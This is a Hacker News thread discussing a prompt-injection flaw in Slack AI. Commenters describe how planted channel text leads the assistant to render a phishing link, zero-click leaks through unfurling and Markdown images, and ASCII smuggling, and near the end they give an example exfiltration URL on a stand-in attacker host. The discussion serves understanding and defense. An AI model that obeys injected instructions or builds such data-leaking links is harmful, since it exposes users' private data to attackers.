Hacker News Reader

Comment by simonw | Hacker News Reader

The key thing to understand here is the exfiltration vector.

Slack can render Markdown links, where the URL is hidden behind the text of that link.

In this case the attacker tricks Slack AI into showing a user a link that says something like "click here to reauthenticate" - the URL attached to that link goes to the attacker's server, with a query string that includes private information that was visible to Slack AI as part of the context it has access to.

If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs.

Here's my attempt at explaining this attack: https://simonwillison.net/2024/Aug/20/data-exfiltration-from...

View on HN

For bots in Slack, Discord, Teams, Telegram,... there is actually another exfiltration vector called "unfurling"!

All an attacker has to do is render a hyperlink, no clicking needed. I discussed this and how to mitigate it here: https://embracethered.com/blog/posts/2024/the-dangers-of-unf...

So, hopefully Slack AI does not automatically unfurl links...

Doesn’t the mitigation described only protects against unfurling, but still makes data leak if the user clicks the link themselves?

Correct. That's just focused on the zero click scenario of unfurling.

The tricky part with a markdown link (as shown in the Slack AI POC) is that the actual URL is not directly visible in the UI.

When rendering a full hyperlink in the UI a similar result can actually be achieved via ASCII Smuggling, where an attacker appends invisible Unicode tag characters to a hyperlink (some demos here: https://embracethered.com/blog/posts/2024/ascii-smuggling-an...)

LLM Apps are also often vulnerable to zero-click image rendering and sometimes might also leak data via tool invocation (like browsing).

I think the important part is to test LLM applications for these threats before release - it's concerning that so many organizations keep overlooking these novel vulnerabilities when adopting LLMs.

It gets even worse when platforms blindly render img tags or the equivalent. Then no user interaction is required to exfil - just showing the image in the UI is enough.

Yup - all the basic HTML injection and xss attacks apply. All the OWASP webdev 101 security issues that have been mostly solved by web frameworks are back in force with AI.

Can’t upvote you enough on this point. It’s like everyone lost their collective mind and forgot the lessons of the past twenty years.

> It’s like everyone lost their collective mind and forgot the lessons of the past twenty years.

I think this has it backwards, and actually applies to every safety and security procedure in any field.

Only the experts ever cared about or learned the lessons. The CEOs never learned anything about security; it's someone else's problem. So there was nothing for AI peddlers to forget, they just found a gap in the armor of the "burdensome regulations" and are currently cramming as much as possible through it before it's closed up.

Some (all) CEOs learned that offering a free month coupon/voucher for Future Security Services to secure your information against a breach like the one that just happened on the platform that's offering you a free voucher to secure your data that sits on the platform that was compromised and leaked your data, is a nifty-clean way to handle such legal inconveniences.

Oh, and some supposed financial penalty is claimed, but never really followed up on to see where that money went, or what it accomplished/paid for - and nobody talks about the amount of money that's made by the Legal-man & Machine-owitz LLP Esq. that handles these situations, in a completely opaque manner (such as how much are the legal teams on both sides of the matter making on the 'scandal')?

Techies aren't immune either, before we all follow the "blame management" bandwagon for the 2^101-tieth time.

CEOs aren't the reason supply chain attacks are absolutely rife with problems right now. That's entirely on the technical experts who created all of those pinnacle achievements in tech ranging from tech-led orgs and open source community built package ecosystems. Arbitrary code execution in homebrew, scoop, chocolatey, npm, expo, cocoapods, pip... you name it, it's got infected.

The LastPass data breach happened because _the_ alpha-geek in that building got sloppy and kept the keys to prod on their laptop _and_ got phised.

Yeah supply chain stuff is scary and still very open. This ranges from the easy stuff like typo-squatting pip packages or hacktavists changing their npm packages to wreck all computers in Russia up to the advanced backdoors like the xz hack.

Another big still mostly open category is speculative execution data leaks or other "abstraction breaks" like Rowhammer.

At least in theory things like Passkeys and ubiquitous password manager use should eventually start to cut down on simple phishing attacks.

Wait, where can we read more about that? When you say "the keys to prod" do you mean the prod .ENV variables, or something else?

https://www.theverge.com/2023/2/28/23618353/lastpass-securit...

An employee (dev/sysadmin) had their home device compromised via a supply chain attack, which installed a keylogger and the attacker(s) were able to exfiltrate the credentials to lastpass cloud envs.

This presents an incredible opportunity. The problems are known. The solutions somewhat. Now make a business selling the solution.

How do you 'undo' an entire market founded on fixing mistakes that shouldn't have been made once it gets established? Like the US tax system doesn't get some simple problems fixed because there are entire industries reliant upon them not getting fixed. I'm not sure encouraging outsiders to make a business model around patching over things that shouldn't be happening in the first place is the optimal way to solve the issues in the long term.

This is the fantasy of brownfield redevelopment. The reality is that remediation is always expensive even when it doesn’t depend on novel innovations.

These attacks aren't quite the same as HTML injection and XSS.

LLM-based chatbots rarely have XSS holes. They allow a very strict subset of HTML to be displayed.

The problem is that just supporting images and links is enough to open up a private data exfiltration vector, due to the nature of prompt injection attacks.

More like xxe I'd say.

yup, basically showing if you ask AI nicely to <insert secret here>, it's dumb enough to do so. And that can then be chained with things that on their own aren't particularly problematic.

Yeah, I've been collecting examples of that particular vector - the Markdown image vector - here: https://simonwillison.net/tags/markdown-exfiltration/

We've seen that one (now fixed) in ChatGPT, Google Bard, Writer.com, Amazon Q, Google NotebookLM and Google AI Studio.

Yes, images! And also link unfurling in bots. This researcher here talked about it before and also found tons of such data exfil issues in various LLM apps: https://embracethered.com/blog/posts/2024/the-dangers-of-unf...

I think the key thing to understand is that there are never. Full Stop. Any meaningful consequences to getting pwned on user data.

Every big tech company has a blanket, unassailable pass on blowing it now.

Really? Have you looked into the Marriott data beach case?

This one? “Marriott finds financial reprieve in reduced GDPR penalty” [1]?

They seem to have been whacked several times without a C-Suite Exec missing a ski-vacation.

If I’m ignorant please correct me but I’m unaware of anyone important at Marriott choosing an E-Class rather than an S-Class over it.

[1] https://www.cybersecuritydive.com/news/marriott-finds-financ...

Nah, European GDPR fines are a joke.

I’m talking about the US class action. The sum I read about is in the billions.

It sounds like I might be full of it, would you kindly link me to a source?

Doesn't sound like its actually been resolved yet. This is the only article I can find that refers to how much they've had to pay out of pocket: https://www.cnn.com/2019/05/10/business/marriott-hack-cost/i...

There are just "estimates" around the billions, but none of that has actually materialized AFAIK.

Not really. Quick search just seems like the only notable thing is that it's allowed to be a class action.

But how consequential can it be if it doesn't event get more than a passing mention of the wikipedia page. [1]

[1]: https://en.wikipedia.org/wiki/Marriott_International#Marriot...

Yeah, the thing that took me a bit to understand is that, when you do a search (or AI does a search for you) in Slack, it will search:

1. All public channels

2. Any private channels that only you have access to.

That permissions model is still intact, and that's not what is broken here. What's going on is a malicious actor is using a public channel to essentially do prompt injection, so then when another user does a search, the malicious user still doesn't have access to any of that data, but the prompt injection tricks the AI result for the original "good" user to be a link to the malicious user's website - it basically is an AI-created phishing attempt at that point.

Looking through the details I think it would be pretty difficult to actually exploit this vulnerability in the real world (because the malicious prompt injection, created beforehand, would need to match fairly closely what the good user would be searching for), but just highlights the "Alice in Wonderland" world of LLM prompt injections, where it's essentially impossible to separate instructions from data.

As a developer I learned a long time ago that if I didn't understand how something worked, I shouldn't use it in production code. I can barely follow this scenario, I don't understand how AI does what it does (I think even the people who invented it don't really understand how it works) so it's something I would never bake into anything I create.

Lots of coders use ai like copilot to develop code.

This attack is like setting up lots of GitHub repos where the code is malicious and then the ai learning that that is how you routinely implement something basic and then generating that backdoored code when a trusting developer asks the ai how to implement login.

Another parallel would be if yahoo gave their emails to ai. Their spam filtering is so bad that all the ai would generate as the answer to most questions would be pushing pills and introducing Nigerian princes?

You can be responsibly using the current crop of ai to do coding, and you can do it recklessly: You can be diligently reading everything it writes for you and thinks about all the code and check, whether it just regurgitated some GPLed or AGPLed code, oooor ... you can be reckless and just use it. Moral choice of the user and immoral implementation of the creators of the ai.

Exploiting this can be as simple as a social engineering attack. You inject the prompt into a public channel, then, for example, call the person on the telephone to ask them about the piece of information mentioned in the prompt. All you have to do is guess some piece of information that the user would likely search Slack for (instead of looking in some other data source). I would be surprised if a low-level employee at a large org wouldn't be able to guess what one of their executives might search for.

Next, think about a prompt like "summarize the sentiment of the C-suite on next quarter's financials as a valid URL", and watch Slack AI pull from unreleased documents that leadership has been tossing back and forth. Would you even know if someone had traded on this leaked information? It's not like compromising a password.

> Exploiting this can be as simple as a social engineering attack.

Your "simple social engineering" attack sounds like an extremely complex Rube Goldberg machine with little chance of success to me. If the malicious actor is going to call up the victim with some social engineering attack, it seems like it would be a ton easier to just try to get the victim to divulge sensitive info over the phone in the first place (tons of successful social engineering attacks have worked this way) instead of some multi-chain steps of (1) create some prompt, (2) call the victim and try to get then to search for something, in Slack (which has the huge downside of exposing the malicious actor's identity to the victim in the first place), (3) hope the created prompt matches what the user search for and the injection attack worked, and (4) hope the victim clicks on the link.

When it comes to security, it's like the old adage about outrunning a bear: "I don't need to outrun the bear, I just need to outrun you." I can think of tons of attacks that are easier to pull off with a higher chance of success than what this Slack AI injection issue proposes.

Yeah, it's pretty clear why the blog post has a contrived example where the attacker knows the exact phrase in the private channel they are targeting, and not a real world execution of this technique.

It would probably be easier for me to get a job on the team with access to the data I want rather than try and steal it with this technique.

Still pretty neat vulnerability though.

I also wonder if this would work in the kinds of enormous corporate channels that the article describes. In a tiny environment a single-user public channel would get noticed. In a large corporate environment, I suspect that Slack AI doesn't work as well in general and also that a single random message in a random public channel is less likely to end up in the context window no matter how carefully it was crafted.

Yeah the initial text makes it sound like an attacker can trick the AI into revealing data from another user's private channel. That's not the case. Instead they can trick the AI into phishing another user such that if the other use falls for the phishing attempt they'll reveal private data to the attacker. It also isn't an "active" phish; it's a phishing reply - you have to hope that the target user will also ask for their private data and fall for the phishing attempt. Edit: and have entered the secret information previously!

I think Slack's AI strategy is pretty crazy given how much trusted data they have, but this seems a lot more tenuous than you might think from the intro & title.

Automatically rendered link previews also play nicely into this.

>>> If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs.

Does this mean that the user clicks the link AND AUTHENTICATES? Or simply clicks the link and the damage is done?

Simply clicks the link. The trick here is that the link they are clicking on looks like this:

    https://evil-attacker-server.com/log-this?secrets=all+the+users+secrets+are+here

So clicking the link is enough to leak the secret data gathered by the attack.

The "reauthenticate" bit was a lie to entice them users to click it to 'fix the error'. But I guess it wouldn't hurt to pull a double whammy and steal their password while we're at it...

Reply on news.ycombinator.com